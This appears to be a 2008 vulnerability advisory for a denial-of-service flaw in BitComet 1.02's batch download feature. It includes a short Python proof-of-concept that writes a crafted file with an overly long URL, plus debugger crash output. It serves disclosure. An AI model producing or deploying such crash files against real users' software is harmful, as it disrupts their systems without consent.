[2008-07-16] BitComet URI Handling Denial of Service Vulnerability

Description

BitComment is prone to a denial-of-service vulnerability when trying to handle a malicious crafted file.The vulnerability resides in failure to handle overly long urls in the file provided for batch download./p>

POC/Exploit code   [.py]

#!/usr/bin/python # BitComet 1.02 [HTTP/FTP Batch Download] url DOS #This python script will generate an evil_batch.txt file that when #loaded into bitcomet for batch downloading it will result in a crash. #The vulnerability resides in failure to handle overly long urls. #(File->HTTP/FTP Batch Download->Import URL from file->OK) #Debug output: # ---------------------------------------------------------------- # Exception C00000FD (STACK_OVERFLOW) # ---------------------------------------------------------------- # EAX=00032000: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 # EBX=06E90020: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 # ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # EDX=7C90EB94: C3 8D A4 24 00 00 00 00-8D 64 24 00 90 90 90 90 # ESP=0012B354: 66 9A 80 7C 5C 85 57 00-5C F9 B1 00 00 F0 5F 01 # EBP=0012B380: 04 B4 12 00 83 8B 57 00-20 00 E9 06 50 00 00 00 # ESI=015FF000: 14 CB 99 00 E4 05 00 00-06 00 00 00 3F 00 00 00 # EDI=001E8482: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 # EIP=00707E07: 85 00 EB E9 55 8B EC 51-53 56 8B F0 33 DB 3B F3 # --> TEST [EAX],EAX # ---------------------------------------------------------------- # # #Found by Shinnok batch = 'http://' badstr = 'A' * 1000000 batch += badstr f = open('evil_batch.txt','wb') f.write(batch); f.close

Other references

Milw0rm : n/a

Securityfocus : http://www.securityfocus.com/bid/30255/